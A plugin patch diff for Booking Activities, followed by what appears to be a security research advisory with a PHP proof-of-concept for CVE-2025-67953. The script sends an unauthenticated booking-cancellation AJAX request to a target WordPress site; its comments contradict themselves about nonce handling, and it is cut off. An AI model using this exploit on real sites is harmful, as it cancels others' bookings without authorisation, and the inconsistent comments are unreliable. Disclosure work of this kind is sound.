+								<div class='bookacti-form-field-login-field-container bookacti-login-field-<?php echo $register_field_name; ?>' id='<?php echo esc_attr( $field_id . '-' . $register_field_name . '-container' ); ?>' data-field-name='<?php echo esc_attr( $register_field_name ); ?>' data-field-type='<?php echo esc_attr( $register_field[ 'type' ] ); ?>'>
 									<?php if( $register_field[ 'type' ] !== 'checkbox' ) { ?>
 										<div class='bookacti-form-field-label' >
 											<label for='<?php echo esc_attr( $field_id . '-' . $register_field_name ); ?>' >
@@ -269,12 +261,12 @@
 									<?php
 										$register_field_args = array(
 											'type'        => $register_field[ 'type' ],
-											'name'        => esc_attr( $register_field_name ),
-											'value'       => ! empty( $_REQUEST[ $register_field_name ] ) ? esc_attr( sanitize_text_field( $_REQUEST[ $register_field_name ] ) ) : ( isset( $register_field[ 'value' ] ) ? esc_attr( $register_field[ 'value' ] ) : '' ),
-											'id'          => esc_attr( $field_id . '-' . $register_field_name ),
-											'class'       => esc_attr( 'bookacti-form-field bookacti-' . $register_field_name ),
-											'required'    => esc_attr( $field[ 'required_fields' ][ $register_field_name ] ),
-											'placeholder' => esc_attr( $field[ 'placeholder' ][ $register_field_name ] ),
+											'name'        => $register_field_name,
+											'value'       => ! empty( $_REQUEST[ $register_field_name ] ) ? sanitize_text_field( $_REQUEST[ $register_field_name ] ) : ( isset( $register_field[ 'value' ] ) ? $register_field[ 'value' ] : '' ),
+											'id'          => $field_id . '-' . $register_field_name,
+											'class'       => 'bookacti-form-field bookacti-' . $register_field_name,
+											'required'    => $field[ 'required_fields' ][ $register_field_name ],
+											'placeholder' => $field[ 'placeholder' ][ $register_field_name ],
 											'required'    => $field[ 'required_fields' ][ $register_field_name ] ? 1 : 0
 										);
 										if( $register_field[ 'type' ] === 'checkbox' ) {
@@ -298,12 +290,12 @@
 			}

 			if( ! empty( $field[ 'login_button' ] ) ) {
-				$login_button_label    = esc_attr( $field[ 'login_button_label' ] );
-				$register_button_label = esc_attr( $field[ 'register_button_label' ] );
+				$login_button_label    = $field[ 'login_button_label' ];
+				$register_button_label = $field[ 'register_button_label' ];
 				$input_type            = ! is_user_logged_in() && ( ! empty( $field[ 'login_first' ] ) || $context === 'login_form' ) ? 'submit' : 'button';
 			?>
-			<div class='bookacti-form-field-login-field-container bookacti-login-field-submit-button' id='<?php echo $field_id; ?>-submit-button' style='display:none;'>
-				<input type='<?php echo esc_attr( $input_type ); ?>' value='<?php echo $login_button_label; ?>' class='bookacti-login-button button' data-login-label='<?php echo $login_button_label; ?>' data-register-label='<?php echo $register_button_label; ?>'/>
+			<div class='bookacti-form-field-login-field-container bookacti-login-field-submit-button' id='<?php echo esc_attr( $field_id . '-submit-button' ); ?>' style='display:none;'>
+				<input type='<?php echo esc_attr( $input_type ); ?>' value='<?php echo esc_attr( $login_button_label ); ?>' class='bookacti-login-button button' data-login-label='<?php echo esc_attr( $login_button_label ); ?>' data-register-label='<?php echo esc_attr( $register_button_label ); ?>'/>
 			</div>
 			<?php } ?>
 		</div>
@@ -735,7 +727,7 @@
 /**
  * AJAX Controller - Check if login form is correct and then register / log the user in
  * @since 1.8.0
- * @version 1.16.42
+ * @version 1.16.45
  */
 function bookacti_controller_validate_login_form() {
 	$return_array = array(
@@ -820,8 +812,7 @@
 	// Login
 	} else if( $login_values[ 'login_type' ] === 'my_account' ) {
 		// Validate login fields
-		$require_authentication = ! empty( $login_field[ 'required_fields' ][ 'password' ] );
-		$user = bookacti_validate_login( $login_values, $require_authentication );
+		$user = bookacti_validate_login( $login_values );
 	}

 	// Check if the user exists
--- a/booking-activities/controller/controller-notifications.php
+++ b/booking-activities/controller/controller-notifications.php
@@ -27,6 +27,7 @@
 /**
  * Controller - Send async notifications
  * @since 1.16.0
+ * @version 1.16.45
  */
 function bookacti_controller_send_async_notifications() {
 	// Do not send on AJAX calls to avoid multiple calls and expired cache
@@ -39,6 +40,12 @@
 	// Check if the desired action is to send the async notifications
 	if( empty( $_REQUEST[ 'bookacti_send_async_notifications' ] ) ) { return; }

+	// Check if the key is correct
+	if( empty( $_REQUEST[ 'key' ] ) ) { return; }
+	$sanitized_key = sanitize_title_with_dashes( $_REQUEST[ 'key' ] );
+	$secret_key    = get_option( 'bookacti_cron_key' );
+	if( $sanitized_key !== $secret_key ) { return; }
+
 	// Check if async notifications are allowed
 	$allow_async = apply_filters( 'bookacti_allow_async_notifications', bookacti_get_setting_value( 'bookacti_notifications_settings', 'notifications_async' ) );
 	if( ! $allow_async ) { return; }
@@ -120,21 +127,32 @@
 /**
  * Send a notification to admin and customer when a new booking is made
  * @since 1.2.2 (was bookacti_send_notification_admin_new_booking in 1.2.1)
- * @version 1.14.1
+ * @version 1.16.45
  * @param array $return_array
  * @param array $booking_form_values
  * @param int $form_id
  */
 function bookacti_send_notification_when_booking_is_made( $return_array, $booking_form_values, $form_id ) {
-	$booking_status = ! empty( $booking_form_values[ 'status' ] ) ? $booking_form_values[ 'status' ] : 'booked';
 	foreach( $return_array[ 'bookings' ] as $booking ) {
-		$notification_args = apply_filters( 'bookacti_new_booking_notification_args', array(), $booking, $booking_form_values );
-
-		// Send a booking confirmation to the customer
-		bookacti_send_notification( 'customer_' . $booking_status . '_booking', $booking[ 'id' ], $booking[ 'type' ], $notification_args );
+		$booking_data = array();
+		if( $booking[ 'type' ] === 'group' ) {
+			$booking_data = bookacti_sanitize_booking_group_data( array_merge( array(
+				'event_group_id' => $booking[ 'picked_event' ][ 'group_id' ],
+				'group_date'     => $booking[ 'picked_event' ][ 'group_date' ],
+				'grouped_events' => $booking[ 'picked_event' ][ 'events' ]
+			), $booking_form_values ) );
+		} else {
+			$booking_data = bookacti_sanitize_booking_data( array_merge( array(
+				'event_id'    => $booking[ 'picked_event' ][ 'events' ][ 0 ][ 'id' ],
+				'event_start' => $booking[ 'picked_event' ][ 'events' ][ 0 ][ 'start' ],
+				'event_end'   => $booking[ 'picked_event' ][ 'events' ][ 0 ][ 'end' ],
+			), $booking_form_values ) );
+		}
+		$booking_data[ 'id' ] = $booking[ 'id' ];

-		// Alert administrators that a new booking has been made
-		bookacti_send_notification( 'admin_new_booking', $booking[ 'id' ], $booking[ 'type' ], $notification_args );
+		// Send a booking confirmation to admin and customers
+		bookacti_send_booking_status_change_notification( 'new', (object) $booking_data, null, $booking[ 'type' ] );
+		bookacti_send_booking_status_change_notification( $booking_data[ 'status' ], (object) $booking_data, null, $booking[ 'type' ] );
 	}
 }
 add_action( 'bookacti_booking_form_validated', 'bookacti_send_notification_when_booking_is_made', 100, 3 );
--- a/booking-activities/controller/controller-settings.php
+++ b/booking-activities/controller/controller-settings.php
@@ -1,968 +1,968 @@
-<?php
-// Exit if accessed directly
-if ( ! defined( 'ABSPATH' ) ) { exit; }
-
-/**
- * Init Booking Activities settings
- * @version 1.16.0
- */
-function bookacti_init_settings() {
-	/* General settings Section - 1 - Misc */
-	add_settings_section(
-		'bookacti_settings_section_general',
-		esc_html__( 'General settings', 'booking-activities' ),
-		'bookacti_settings_section_general_callback',
-		'bookacti_general_settings',
-		array(
-			'before_section' => '<div class="%s">',
-			'after_section'  => '</div>',
-			'section_class'  => 'bookacti-settings-section-general'
-		)
-	);
-
-	add_settings_field(
-		'timezone',
-		esc_html__( 'Calendars timezone', 'booking-activities' ),
-		'bookacti_settings_field_timezone_callback',
-		'bookacti_general_settings',
-		'bookacti_settings_section_general'
-	);
-
-	add_settings_field(
-		'calendar_localization',
-		esc_html__( 'Calendar localization', 'booking-activities' ),
-		'bookacti_settings_field_calendar_localization_callback',
-		'bookacti_general_settings',
-		'bookacti_settings_section_general'
-	);
-
-	add_settings_field(
-		'default_calendar_view_threshold',
-		esc_html__( 'Load the "Day" view if the calendar width is less than', 'booking-activities' ),
-		'bookacti_settings_field_default_calendar_view_threshold_callback',
-		'bookacti_general_settings',
-		'bookacti_settings_section_general'
-	);
-
-	add_settings_field(
-		'event_load_interval',
-		esc_html__( 'Load events every', 'booking-activities' ),
-		'bookacti_settings_field_event_load_interval_callback',
-		'bookacti_general_settings',
-		'bookacti_settings_section_general'
-	);
-
-	add_settings_field(
-		'started_events_bookable',
-		esc_html__( 'Are started events bookable?', 'booking-activities' ),
-		'bookacti_settings_field_started_events_bookable_callback',
-		'bookacti_general_settings',
-		'bookacti_settings_section_general'
-	);
-
-	add_settings_field(
-		'started_groups_bookable',
-		esc_html__( 'Are started groups of events bookable?', 'booking-activities' ),
-		'bookacti_settings_field_started_groups_bookable_callback',
-		'bookacti_general_settings',
-		'bookacti_settings_section_general'
-	);
-
-	add_settings_field(
-		'default_payment_status',
-		esc_html__( 'Default payment status', 'booking-activities' ),
-		'bookacti_settings_field_default_payment_status_callback',
-		'bookacti_general_settings',
-		'bookacti_settings_section_general'
-	);
-
-	add_settings_field(
-		'default_booking_state',
-		esc_html__( 'Default booking status', 'booking-activities' ),
-		'bookacti_settings_field_default_booking_state_callback',
-		'bookacti_general_settings',
-		'bookacti_settings_section_general'
-	);
-
-	add_settings_field(
-		'display_private_columns',
-		esc_html__( 'Allow private columns in frontend booking lists', 'booking-activities' ),
-		'bookacti_settings_field_display_private_columns_callback',
-		'bookacti_general_settings',
-		'bookacti_settings_section_general'
-	);
-
-	add_settings_field(
-		'delete_data_on_uninstall',
-		esc_html__( 'Delete data on uninstall', 'booking-activities' ),
-		'bookacti_settings_field_delete_data_on_uninstall_callback',
-		'bookacti_general_settings',
-		'bookacti_settings_section_general'
-	);
-
-
-	/* General settings Section - 2 - Price */
-	add_settings_section(
-		'bookacti_settings_section_general_price',
-		esc_html__( 'Price format', 'booking-activities' ),
-		'bookacti_settings_section_general_price_callback',
-		'bookacti_general_settings',
-		array(
-			'before_section' => '<div class="%s">',
-			'after_section'  => '</div>',
-			'section_class'  => 'bookacti-settings-section-price'
-		)
-	);
-
-	add_settings_field(
-		'price_currency_symbol',
-		esc_html__( 'Currency', 'booking-activities' ),
-		'bookacti_settings_field_price_currency_symbol_callback',
-		'bookacti_general_settings',
-		'bookacti_settings_section_general_price'
-	);
-
-
-	add_settings_field(
-		'price_currency_position',
-		esc_html__( 'Currency position', 'booking-activities' ),
-		'bookacti_settings_field_price_currency_position_callback',
-		'bookacti_general_settings',
-		'bookacti_settings_section_general_price'
-	);
-
-	add_settings_field(
-		'price_thousand_separator',
-		esc_html__( 'Thousand separator', 'booking-activities' ),
-		'bookacti_settings_field_price_thousand_separator_callback',
-		'bookacti_general_settings',
-		'bookacti_settings_section_general_price'
-	);
-
-	add_settings_field(
-		'price_decimal_separator',
-		esc_html__( 'Decimal separator', 'booking-activities' ),
-		'bookacti_settings_field_price_decimal_separator_callback',
-		'bookacti_general_settings',
-		'bookacti_settings_section_general_price'
-	);
-
-	add_settings_field(
-		'price_decimals_number',
-		esc_html__( 'Number of decimals', 'booking-activities' ),
-		'bookacti_settings_field_price_decimals_number_callback',
-		'bookacti_general_settings',
-		'bookacti_settings_section_general_price'
-	);
-
-
-	/* Cancellation settings Section */
-	add_settings_section(
-		'bookacti_settings_section_cancellation',
-		esc_html__( 'Cancellation settings', 'booking-activities' ),
-		'bookacti_settings_section_cancellation_callback',
-		'bookacti_cancellation_settings',
-		array(
-			'before_section' => '<div class="%s">',
-			'after_section'  => '</div>',
-			'section_class'  => 'bookacti-settings-section-cancellation'
-		)
-	);
-
-	add_settings_field(
-		'allow_customers_to_cancel',
-		esc_html__( 'Allow customers to cancel their bookings', 'booking-activities' ),
-		'bookacti_settings_field_activate_cancel_callback',
-		'bookacti_cancellation_settings',
-		'bookacti_settings_section_cancellation'
-	);
-
-	add_settings_field(
-		'allow_customers_to_reschedule',
-		esc_html__( 'Allow customers to reschedule their bookings', 'booking-activities' ),
-		'bookacti_settings_field_activate_reschedule_callback',
-		'bookacti_cancellation_settings',
-		'bookacti_settings_section_cancellation'
-	);
-
-	add_settings_field(
-		'booking_changes_deadline',
-		/* translators: Followed by a field indicating a number of days, hours and minutes from now. E.g.: "Changes are allowed for bookings starting in at least 2 days, 12 hours, 25 minutes". */
-		esc_html__( 'Changes are allowed for bookings starting in at least', 'booking-activities' ),
-		'bookacti_settings_field_cancellation_delay_callback',
-		'bookacti_cancellation_settings',
-		'bookacti_settings_section_cancellation'
-	);
-
-	add_settings_field(
-		'refund_actions_after_cancellation',
-		esc_html__( 'Possible actions customers can take to be refunded', 'booking-activities' ),
-		'bookacti_settings_field_cancellation_refund_actions_callback',
-		'bookacti_cancellation_settings',
-		'bookacti_settings_section_cancellation'
-	);
-
-	add_settings_field(
-		'admin_reschedule_scope',
-		esc_html__( 'Administrators can reschedule bookings to', 'booking-activities' ),
-		'bookacti_settings_field_admin_reschedule_scope_callback',
-		'bookacti_cancellation_settings',
-		'bookacti_settings_section_cancellation'
-	);
-
-
-	/* Notifications settings Section - 1 - General settings */
-	add_settings_section(
-		'bookacti_settings_section_notifications_general',
-		esc_html__( 'Notifications', 'booking-activities' ),
-		'bookacti_settings_section_notifications_general_callback',
-		'bookacti_notifications_settings',
-		array(
-			'before_section' => '<div class="%s">',
-			'after_section'  => '</div>',
-			'section_class'  => 'bookacti-settings-section-notifications-general'
-		)
-	);
-
-	add_settings_field(
-		'notifications_async',
-		esc_html__( 'Asynchronous notifications', 'booking-activities' ),
-		'bookacti_settings_field_notifications_async_callback',
-		'bookacti_notifications_settings',
-		'bookacti_settings_section_notifications_general'
-	);
-
-
-	/* Notifications settings Section - 2 - Email settings */
-	add_settings_section(
-		'bookacti_settings_section_notifications_email',
-		esc_html__( 'Email notifications settings', 'booking-activities' ),
-		'bookacti_settings_section_notifications_email_callback',
-		'bookacti_notifications_settings',
-		array(
-			'before_section' => '<div class="%s">',
-			'after_section'  => '</div>',
-			'section_class'  => 'bookacti-settings-section-notifications-email'
-		)
-	);
-
-	add_settings_field(
-		'notifications_from_name',
-		esc_html__( 'From name', 'booking-activities' ),
-		'bookacti_settings_field_notifications_from_name_callback',
-		'bookacti_notifications_settings',
-		'bookacti_settings_section_notifications_email'
-	);
-
-	add_settings_field(
-		'notifications_from_email',
-		esc_html__( 'From email', 'booking-activities' ),
-		'bookacti_settings_field_notifications_from_email_callback',
-		'bookacti_notifications_settings',
-		'bookacti_settings_section_notifications_email'
-	);
-
-
-
-	/* Messages settings Section */
-	add_settings_section(
-		'bookacti_settings_section_messages',
-		esc_html__( 'Messages', 'booking-activities' ),
-		'bookacti_settings_section_messages_callback',
-		'bookacti_messages_settings',
-		array(
-			'before_section' => '<div class="%s">',
-			'after_section'  => '</div>',
-			'section_class'  => 'bookacti-settings-section-messages'
-		)
-	);
-
-
-
-	/* Licenses settings Section */
-	add_settings_section(
-		'bookacti_settings_section_licenses',
-		esc_html__( 'Licenses settings', 'booking-activities' ),
-		'bookacti_settings_section_licenses_callback',
-		'bookacti_licenses_settings',
-		array(
-			'before_section' => '<div class="%s">',
-			'after_section'  => '</div>',
-			'section_class'  => 'bookacti-settings-section-licenses'
-		)
-	);
-
-	register_setting( 'bookacti_general_settings', 'bookacti_general_settings' );
-	register_setting( 'bookacti_cancellation_settings', 'bookacti_cancellation_settings' );
-	register_setting( 'bookacti_notifications_settings', 'bookacti_notifications_settings' );
-	register_setting( 'bookacti_messages_settings', 'bookacti_messages_settings' );
-	register_setting( 'bookacti_licenses_settings', 'bookacti_licenses_settings' );
-
-	/* Allow plugins to add settings and sections */
-	do_action( 'bookacti_add_settings' );
-}
-add_action( 'admin_init', 'bookacti_init_settings' );
-
-
-
-
-// SCREEN OPTIONS
-
-/**
- * Add screen options
- *
- * @since 1.3.0
- * @version 1.5.0
- */
-function bookacti_add_screen_options() {
-	add_action( 'load-booking-activities_page_bookacti_bookings', 'bookacti_display_bookings_screen_options' );
-	add_action( 'load-booking-activities_page_bookacti_forms', 'bookacti_display_forms_screen_options' );
-}
-add_action( 'admin_menu', 'bookacti_add_screen_options', 20 );
-
-
-/**
- * Add booking page columns screen options
- * @since 1.3.0
- * @version 1.16.0
- */
-function bookacti_add_booking_page_screen_option() {
-	$action = ! empty( $_REQUEST[ 'action' ] ) ? sanitize_title_with_dashes( $_REQUEST[ 'action' ] ) : '';
-	if( ! $action || ! in_array( $action, array( 'edit', 'new' ), true ) ) {
-		new Bookings_List_Table();
-	}
-}
-add_action( 'admin_head-booking-activities_page_bookacti_bookings', 'bookacti_add_booking_page_screen_option' );
-
-
-/**
- * Add form page columns screen options
- * @since 1.5.0
- * @version 1.16.0
- */
-function bookacti_add_form_page_screen_option() {
-	$action = ! empty( $_REQUEST[ 'action' ] ) ? sanitize_title_with_dashes( $_REQUEST[ 'action' ] ) : '';
-	if( ! $action || ! in_array( $action, array( 'edit', 'new' ), true ) ) {
-		new Forms_List_Table();
-	}
-}
-add_action( 'admin_head-booking-activities_page_bookacti_forms', 'bookacti_add_form_page_screen_option' );
-
-
-/**
- * Save screen options
- * @since 1.5.0 (was bookacti_save_bookings_screen_options)
- */
-function bookacti_save_screen_options( $status, $option, $value ) {
-	if( 'bookacti_bookings_per_page' == $option || 'bookacti_forms_per_page' == $option ) {
-		return $value;
-	}
-	return $status;
-}
-add_filter( 'set-screen-option', 'bookacti_save_screen_options', 10, 3 );
-
-
-
-// NOTIFICATIONS
-
-/**
- * Create a settings page for each notification
- * @since 1.2.1 (was bookacti_fill_notifications_settings_section)
- * @version 1.16.0
- * @param string $notification_id
- */
-function bookacti_fill_notification_settings_page( $notification_id ) {
-	if( ! $notification_id ) { return; }
-	$recipient = substr( $notification_id, 0, 6 ) === 'admin_' ? 'admin' : 'customer';
-	$recipient_label = $recipient === 'admin' ? esc_html__( 'Administrator', 'booking-activities' ) : esc_html__( 'Customer', 'booking-activities' );
-	$default_settings = bookacti_get_notification_default_settings( $notification_id );
-	$notification_settings = bookacti_get_notification_settings( $notification_id, true );
-	$notification_title = $notification_settings[ 'title' ] !== $default_settings[ 'title' ] ? $notification_settings[ 'title' ] : '';
-	?>
-		<h2>
-			<?php echo esc_html__( 'Notification', 'booking-activities' ) . ' - ' . $recipient_label . ' - '; ?>
-			<input type='text' name='bookacti_notification[title]' placeholder='<?php echo esc_attr( $default_settings[ 'title' ] ); ?>' value='<?php echo esc_attr( $notification_title ); ?>'/>
-			<span class='bookacti-notification-id-container'>(<?php echo esc_html_x( 'id', 'An id is a unique identification number', 'booking-activities' ) . ': <em>' . $notification_settings[ 'id' ] . '</em>'; ?>)</span>
-		</h2>
-
-		<p>
-			<a href='<?php echo esc_url( '?page=bookacti_settings&tab=notifications' ); ?>'>
-				<?php esc_html_e( 'Go back to notifications settings', 'booking-activities' ); ?>
-			</a>
-		</p>
-
-		<p><?php echo $notification_settings[ 'description' ]; ?></p>
-
-		<?php do_action( 'bookacti_notification_settings_page_before', $notification_settings, $notification_id ); ?>
-
-		<h3><?php esc_html_e( 'Global notifications settings', 'booking-activities' ); ?></h3>
-		<table class='form-table' id='bookacti-notification-global-settings<?php echo $recipient === 'admin' ? '-admin' : ''; ?>'>
-			<tbody>
-				<tr>
-					<th scope='row'><?php esc_html_e( 'Enable', 'booking-activities' ); ?></th>
-					<td>
-						<?php
-						$args = array(
-							'type'  => 'checkbox',
-							'name'  => 'bookacti_notification[active]',
-							'id'    => 'bookacti_notification_active',
-							'value' => $notification_settings[ 'active' ] ? $notification_settings[ 'active' ] : 0,
-							'tip'   => esc_html__( 'Enable or disable this automatic notification.', 'booking-activities' )
-						);
-						bookacti_display_field( $args );
-						?>
-					</td>
-				</tr>
-				<?php do_action( 'bookacti_notification_settings_page_global', $notification_settings, $notification_id ); ?>
-			</tbody>
-		</table>
-
-		<h3><?php esc_html_e( 'Email notifications settings', 'booking-activities' ); ?></h3>
-		<table class='form-table' id='bookacti-notification-email-settings<?php echo $recipient === 'admin' ? '-admin' : ''; ?>'>
-			<tbody>
-				<?php
-				do_action( 'bookacti_notification_settings_page_email_before', $notification_settings, $notification_id );
-
-				if( substr( $notification_id, 0, 8 ) !== 'customer' ) { ?>
-				<tr>
-					<th scope='row'><?php _e( 'Recipient(s)', 'booking-activities' ); ?></th>
-					<td>
-						<?php
-						$args = array(
-							'type'  => 'text',
-							'name'  => 'bookacti_notification[email][to]',
-							'id'    => 'bookacti_notification_email_to',
-							'value' => is_array( $notification_settings[ 'email' ][ 'to' ] ) ? implode( ',', $notification_settings[ 'email' ][ 'to' ] ) : strval( $notification_settings[ 'email' ][ 'to' ] ),
-							'tip'   => esc_html__( 'Recipient(s) email address(es) (comma separated).', 'booking-activities' )
-						);
-						bookacti_display_field( $args );
-						?>
-					</td>
-				</tr>
-				<?php } ?>
-				<tr>
-					<th scope='row'><?php echo esc_html_x( 'Subject', 'email subject', 'booking-activities' ); ?></th>
-					<td>
-						<?php
-						$args = array(
-							'type'  => 'text',
-							'name'  => 'bookacti_notification[email][subject]',
-							'id'    => 'bookacti_notification_email_subject' . ( $recipient === 'admin' ? '_admin' : '' ),
-							'class' => 'bookacti-translatable',
-							'value' => $notification_settings[ 'email' ][ 'subject' ] ? $notification_settings[ 'email' ][ 'subject' ] : '',
-							'tip'   => esc_html__( 'The email subject.', 'booking-activities' )
-						);
-						bookacti_display_field( $args );
-						?>
-					</td>
-				</tr>
-				<tr>
-					<th scope='row'>
-					<?php
-						echo esc_html_x( 'Email content', 'email message', 'booking-activities' );
-						$tags = bookacti_get_notifications_tags( $notification_id );
-						if( $tags ) {
-					?>
-						<div class='bookacti-notifications-tags-list'>
-							<p><?php esc_html_e( 'Use these tags:', 'booking-activities' ); ?></p>
-					<?php
-							foreach( $tags as $tag => $tip ) {
-								?>
-								<div class='bookacti-notifications-tag'>
-									<span><?php echo str_replace( '}{', '}<br/>{', $tag ); ?></span>
-									<?php bookacti_help_tip( $tip ); ?>
-								</div>
-								<?php
-							}
-
-							// Notification Pack promo
-							$is_plugin_active = bookacti_is_plugin_active( 'ba-notification-pack/ba-notification-pack.php' );
-							if( ! $is_plugin_active ) {
-								$addon_link  = '<a href="https://booking-activities.fr/en/downloads/notification-pack/?utm_source=plugin&utm_medium=plugin&utm_campaign=notification-pack&utm_content=settings-notification-list" target="_blank" >Notification Pack</a>';
-								/* translators: %1$s is the placeholder for Notification Pack add-on link */
-								$tip = sprintf( esc_html__( 'You can set a specific message on events, activities, groups of events and group categories and use it in your notifications thanks to %1$s add-on.', 'booking-activities' ), $addon_link );
-								?>
-								<div class='bookacti-notifications-tag'>
-									<code class='bookacti-notifications-tag-promo'>{specific_message}</code>
-									<?php bookacti_help_tip( $tip ); ?>
-								</div>
-								<?php
-							}
-					?>
-						</div>
-					<?php
-						}
-					?>
-					</th>
-					<td>
-						<?php
-						$args = array(
-							'type'    => 'editor',
-							'name'    => 'bookacti_notification[email][message]',
-							'id'      => 'bookacti_notification_email_message' . ( $recipient === 'admin' ? '_admin' : '' ),
-							'class'   => 'bookacti-translatable',
-							'height'  => 470,
-							'options' => array( 'default_editor' => wp_default_editor() ),
-							'value'   => $notification_settings[ 'email' ][ 'message' ] ? $notification_settings[ 'email' ][ 'message' ] : ''
-						);
-						bookacti_display_field( $args );
-						?>
-					</td>
-				</tr>
-				<?php do_action( 'bookacti_notification_settings_page_email_after', $notification_settings, $notification_id ); ?>
-			</tbody>
-		</table>
-	<?php
-	do_action( 'bookacti_notification_settings_page_after', $notification_settings, $notification_id );
-}
-add_action( 'bookacti_notification_settings_page', 'bookacti_fill_notification_settings_page', 10, 1 );
-
-
-/**
- * Update notifications data
- * @since 1.2.0
- * @version 1.15.5
- */
-function bookacti_controller_update_notification() {
-	// Sanitize current option page ID
-	$option_page = ! empty( $_POST[ 'option_page' ] ) ? sanitize_title_with_dashes( $_POST[ 'option_page' ] ) : '';
-
-	// Check nonce
-	$is_nonce_valid = check_ajax_referer( $option_page, 'nonce', false );
-	if( ! $is_nonce_valid ) { bookacti_send_json_invalid_nonce( 'update_notification' ); }
-
-	// Check capabilities
-	$is_allowed = current_user_can( 'bookacti_manage_booking_activities_settings' );
-	if( ! $is_allowed ) { bookacti_send_json_invalid_nonce( 'update_notification' ); }
-
-	$values = ! empty( $_POST[ 'bookacti_notification' ] ) ? $_POST[ 'bookacti_notification' ] : array();
-	$notification_id = ! empty( $_POST[ 'notification_id' ] ) ? sanitize_title_with_dashes( $_POST[ 'notification_id' ] ) : '';
-
-	if( ! $values || ! $notification_id ) { bookacti_send_json( array( 'status' => 'failed', 'error' => 'missing_data' ), 'update_notification' ); }
-
-	// Sanitize values
-	$notification_settings = bookacti_sanitize_notification_settings( $values, $notification_id );
-	$updated = update_option( $option_page, $notification_settings );
-
-	if( ! $updated ) { bookacti_send_json( array( 'status' => 'failed', 'error' => 'not_updated' ), 'update_notification' ); }
-
-	bookacti_send_json( array( 'status' => 'success' ), 'update_notification' );
-}
-add_action( 'wp_ajax_bookactiUpdateNotification', 'bookacti_controller_update_notification' );
-
-
-
-
-// MESSAGES
-
-/**
- * Display messages fields
- * @since 1.2.0
- * @version 1.14.0
- */
-function bookacti_display_messages_fields() {
-	$messages = bookacti_get_messages( true );
-	foreach( $messages as $message_id => $message ) {
-?>
-		<div class='bookacti-message-setting'>
-			<em><?php echo $message[ 'description' ] ?></em><br/>
-			<?php if( isset( $message[ 'input_type' ] ) && $message[ 'input_type' ] === 'textarea' ) { ?>
-				<textarea id='bookacti_messages_settings_<?php echo $message_id; ?>' class='bookacti-translatable' name='bookacti_messages_settings[<?php echo $message_id; ?>]'><?php echo esc_textarea( $message[ 'value' ] ); ?></textarea>
-			<?php } else { ?>
-				<input type='text' id='bookacti_messages_settings_<?php echo $message_id; ?>' class='bookacti-translatable' name='bookacti_messages_settings[<?php echo $message_id; ?>]' value='<?php esc_attr_e( $message[ 'value' ] ); ?>' />
-			<?php } ?>
-		</div>
-<?php
-	}
-}
-add_action( 'bookacti_messages_settings', 'bookacti_display_messages_fields' );
-
-
-
-
-// USER PROFILE
-
-/**
- * Add user contact methods (Add fields to the user profile)
- * @since 1.7.0
- * @param array $methods
- * @param WP_User $user
- * @return array
- */
-function bookacti_add_user_contact_methods( $methods, $user ) {
-	if( in_array( 'phone', $methods, true ) ) { return $methods; }
-	$methods[ 'phone' ] = esc_html__( 'Phone', 'booking-activities' );
-	return $methods;
-}
-add_filter( 'user_contactmethods', 'bookacti_add_user_contact_methods', 100, 2 );
-
-
-/**
- * Update bookings' owner, forms' author, and any user_id when the user is deleted
- * @since 1.16.21
- * @param int $user_id
- * @param int $reassign_user_id
- * @param WP_User $user
- */
-function bookacti_controller_deleted_user_update_objects( $user_id, $reassign_user_id, $user ) {
-	// Reassign deleted user bookings to the selected user, or to the user email
-	$reassign_user_id    = intval( $reassign_user_id );
-	$new_booking_user_id = $reassign_user_id ? $reassign_user_id : $user->user_email;
-	if( $new_booking_user_id ) {
-		bookacti_update_bookings_user_id( $new_booking_user_id, $user_id );
-	}
-
-	// Replace old user ID with the new one
-	if( $reassign_user_id ) {
-		bookacti_update_managers_user_id( $user_id, $reassign_user_id );
-		bookacti_update_forms_user_id( $user_id, $reassign_user_id );
-		bookacti_update_exports_user_id( $user_id, $reassign_user_id );
-	}
-}
-add_action( 'delete_user', 'bookacti_controller_deleted_user_update_objects', 10, 3 );
-
-
-
-
-// CUSTOM LINKS
-
-/**
- * Add actions t

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-67953 - Booking Activities <= 1.16.44 - Unauthenticated Privilege Escalation

<?php
/**
 * Proof of Concept for CVE-2025-67953
 * Unauthenticated Privilege Escalation in Booking Activities WordPress Plugin
 *
 * This script demonstrates the vulnerability by sending an unauthenticated
 * AJAX request to cancel bookings, which requires administrator privileges.
 */

$target_url = "http://vulnerable-wordpress-site.com/wp-admin/admin-ajax.php";

// Generate a random nonce (in real exploitation, the nonce is not required for this vulnerability)
// The vulnerability allows bypassing authentication, but nonce may still be needed
// This PoC assumes the nonce check is bypassed or obtained from other means
$nonce = ""; // In actual exploitation, this would need to be obtained or bypassed

// Prepare the malicious AJAX request
$post_data = array(
    'action' => 'bookactiCancelBookings',
    'booking_ids[]' => '1', // Target booking ID
    'booking_group_ids[]' => '', // Can be empty or target group ID
    'nonce' => $nonce,
    'refund_action' => 'cancel',
    'send_notifications' => '0'
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Set headers to mimic legitimate browser request
$headers = array(
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Accept: application/json, text/javascript, */*; q=0.01',
    'Accept-Language: en-US,en;q=0.5',
